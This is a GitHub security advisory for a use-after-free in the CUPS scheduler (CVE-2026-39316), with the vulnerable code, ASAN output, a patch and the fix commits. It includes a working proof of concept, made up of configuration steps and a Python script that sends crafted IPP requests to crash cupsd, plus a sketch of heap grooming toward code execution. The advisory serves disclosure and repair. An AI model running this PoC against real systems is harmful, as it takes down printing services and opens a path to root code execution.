Skip to content

Use-after-free in `cupsdDeleteTemporaryPrinters` via dangling subscription pointer

Moderate
michaelrsweet published GHSA-pjv5-prqp-46rg Apr 6, 2026

Package

cups

Affected versions

<= 2.4.16

Patched versions

2.4.17

Description

Summary

A use-after-free vulnerability exists in the CUPS scheduler (cupsd) when temporary printers are automatically deleted. cupsdDeleteTemporaryPrinters() in scheduler/printers.c calls cupsdDeletePrinter() without first expiring subscriptions that reference the printer, leaving cupsd_subscription_t.dest as a dangling pointer to freed heap memory. The dangling pointer is subsequently dereferenced at multiple code sites, causing a crash (denial of service) of the cupsd daemon. With heap grooming, this can be leveraged for code execution.

ASAN-confirmed on CUPS 2.5b1; code path verified present and identical in CUPS v2.4.16.

Details

The vulnerability is a reference lifecycle mismatch. The IPP delete_printer() handler in scheduler/ipp.c correctly calls cupsdExpireSubscriptions(printer, NULL) before cupsdDeletePrinter(), but cupsdDeleteTemporaryPrinters() omits this step.

Vulnerable code (scheduler/printers.c, cupsdDeleteTemporaryPrinters()):

for (p = (cupsd_printer_t *)cupsArrayFirst(Printers); p;
     p = (cupsd_printer_t *)cupsArrayNext(Printers))
{
  if (p->temporary &&
      (force || (p->state_time < unused_time && p->state != IPP_PSTATE_PROCESSING)))
    cupsdDeletePrinter(p, 0);   // BUG: No cupsdExpireSubscriptions(p, NULL) call
}

After cupsdDeletePrinter() frees the printer struct (line 796: free(p)), any cupsd_subscription_t whose dest field pointed to that printer now holds a dangling pointer.

Crash site (scheduler/subscriptions.c:1141-1142, cupsdSaveAllSubscriptions()):

if (sub->dest)
  cupsFilePrintf(fp, "PrinterName %s
", sub->dest->name);  // UAF: sub->dest is freed

The trigger sequence in the main loop (scheduler/main.c):

  1. cupsdDeleteTemporaryPrinters() runs at line 956, freeing the printer without expiring subscriptions. The call to cupsdDeletePrinter()cupsdSetPrinterState() marks subscriptions dirty.
  2. On the next loop iteration, cupsdCleanDirty() at line 884 calls cupsdSaveAllSubscriptions(), which iterates all subscriptions including the one with the dangling dest pointer, triggering the UAF.

Additional dereference sites exist in scheduler/ipp.c at lines 3490, 5014, 7014, 7031, 7732, 7901-7902, and 9237, accessing fields including ->name, ->op_policy_ptr, and ->state of the freed struct.

Safe code path for comparison (scheduler/ipp.c, delete_printer()):

cupsdExpireSubscriptions(printer, NULL);   // line 6121 -- correctly expires first
// ...
cupsdDeletePrinter(printer, 0);            // line 6152 -- then deletes

PoC

Prerequisites: CUPS <= 2.4.16 compiled with AddressSanitizer, localhost access.

Steps:

  1. Pre-configure a printer with StateTime 0 in printers.conf (non-temporary, so it survives startup):
<Printer uaftest>
Info UAF Test Printer
DeviceURI file:///dev/null
State Idle
StateTime 0
Accepting Yes
</Printer>
  1. Configure cupsd.conf with DirtyCleanInterval 1 and permissive policy (DefaultAuthType None, <Limit All> Allow all).

  2. Start cupsd in foreground mode with ASAN:

ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:print_stacktrace=1 \
  LD_LIBRARY_PATH=/code/cups \
  /code/scheduler/cupsd -f -c /path/to/cupsd.conf
  1. Create a subscription on the printer via IPP Create-Printer-Subscription (0x0016):
import socket, struct

def ipp_header(op, rid=1):
    msg = bytearray()
    msg += struct.pack(">BBH I", 2, 0, op, rid)
    return msg

def add_attr(msg, tag, name, value):
    msg.append(tag)
    msg += struct.pack(">H", len(name)) + name
    msg += struct.pack(">H", len(value)) + value

# Build Create-Printer-Subscription
msg = ipp_header(0x0016)
msg.append(0x01)  # operation-attributes-tag
add_attr(msg, 0x47, b"attributes-charset", b"utf-8")
add_attr(msg, 0x48, b"attributes-natural-language", b"en")
add_attr(msg, 0x45, b"printer-uri",
         b"ipp://localhost:PORT/printers/uaftest")
msg.append(0x06)  # subscription-attributes-tag
add_attr(msg, 0x44, b"notify-pull-method", b"ippget")
add_attr(msg, 0x44, b"notify-events", b"all")
msg.append(0x03)  # end-of-attributes-tag

# Send over HTTP
http = (f"POST / HTTP/1.1
Host: localhost:PORT
"
        f"Content-Type: application/ipp
"
        f"Content-Length: {len(msg)}
"
        f"Connection: close

").encode()
s = socket.create_connection(("localhost", PORT))
s.sendall(http + bytes(msg))
  1. Set the printer to temporary via CUPS-Add-Modify-Printer (0x4003) with printer-is-temporary=true. The printer now has temporary=1 and state_time=0, making it immediately eligible for deletion.

  2. On the next scheduler loop, cupsdDeleteTemporaryPrinters() finds the printer and frees it without expiring subscriptions.

  3. Trigger cupsdSaveAllSubscriptions() by creating another subscription (to mark subscriptions dirty), then wait ~1 second for cupsdCleanDirty().

ASAN output (confirmed on CUPS 2.4.7 and CUPS 2.5b1):

==3494967==ERROR: AddressSanitizer: heap-use-after-free on address 0x51d000006528
READ of size 8 at 0x51d000006528 thread T0
    #0 in get_subscriptions scheduler/ipp.c:8003
    #1 in cupsdProcessIPPRequest scheduler/ipp.c:588
    #2 in cupsdReadClient scheduler/client.c:1816

freed by thread T0 here:
    #1 in cupsdDeletePrinter scheduler/printers.c:758
    #2 in cupsdDeleteTemporaryPrinters scheduler/printers.c:795
    #3 in main scheduler/main.c:993

previously allocated by thread T0 here:
    #1 in cupsdAddPrinter scheduler/printers.c:75
    #2 in add_printer scheduler/ipp.c:2300

The freed region is a 2016-byte cupsd_printer_t struct. The read at offset 168 (0xa8) corresponds to the op_policy_ptr field.

Impact

Denial of service (confirmed): Any local unprivileged user can crash the cupsd root daemon by creating a temporary printer with a subscription and waiting for the automatic 5-minute cleanup timeout. This causes complete loss of printing capability until the service is manually restarted. If cupsd auto-restarts (systemd Restart=on-failure), the crash can repeat in a loop.

Potential code execution: The freed cupsd_printer_t struct is a large (~2016 byte) allocation. Because the scheduler is single-threaded, heap reclamation is deterministic: creating a new printer via cupsdAddPrinter() calls calloc(1, sizeof(cupsd_printer_t)), which reclaims the exact freed chunk. The dangling sub->dest->op_policy_ptr field leads through cupsdCheckPolicy()cupsdFindPolicyOp()cupsArrayFind()array->compare(), a function pointer call with attacker-influenced arguments.

Who is impacted: Any system running CUPS <= 2.4.16 where local users can connect to the cupsd socket (default configuration). The CUPS-Create-Local-Printer and Create-Printer-Subscription operations do not require authentication from localhost in the default policy.

Workaround

There is no configuration-level workaround. Administrators can restrict access to CUPS-Create-Local-Printer by adding authentication requirements in cupsd.conf, but this breaks expected localhost functionality.

Suggested Fix

Add cupsdExpireSubscriptions(p, NULL) before cupsdDeletePrinter(p, 0) in cupsdDeleteTemporaryPrinters(), matching the safe pattern used in delete_printer():

--- a/scheduler/printers.c
+++ b/scheduler/printers.c
@@ -829,7 +829,10 @@
   for (p = (cupsd_printer_t *)cupsArrayFirst(Printers); p;
        p = (cupsd_printer_t *)cupsArrayNext(Printers))
   {
     if (p->temporary &&
         (force || (p->state_time < unused_time && p->state != IPP_PSTATE_PROCESSING)))
+    {
+      cupsdExpireSubscriptions(p, NULL);
       cupsdDeletePrinter(p, 0);
+    }
   }
 }

As defense-in-depth, consider adding cupsdExpireSubscriptions(p, NULL) at the top of cupsdDeletePrinter() itself, so no caller can forget this step.

EDIT:
The vulnerability was fixed by Mike at the time of publishing it.

Fixes:
master a8ad716 Expire per-printer subscriptions before deleting.

2.4.x 0142eeb Expire per-printer subscriptions before deleting.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

CVE-2026-39316

Weaknesses

Use After Free

The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory belongs to the code that operates on the new pointer. Learn more on MITRE.

Credits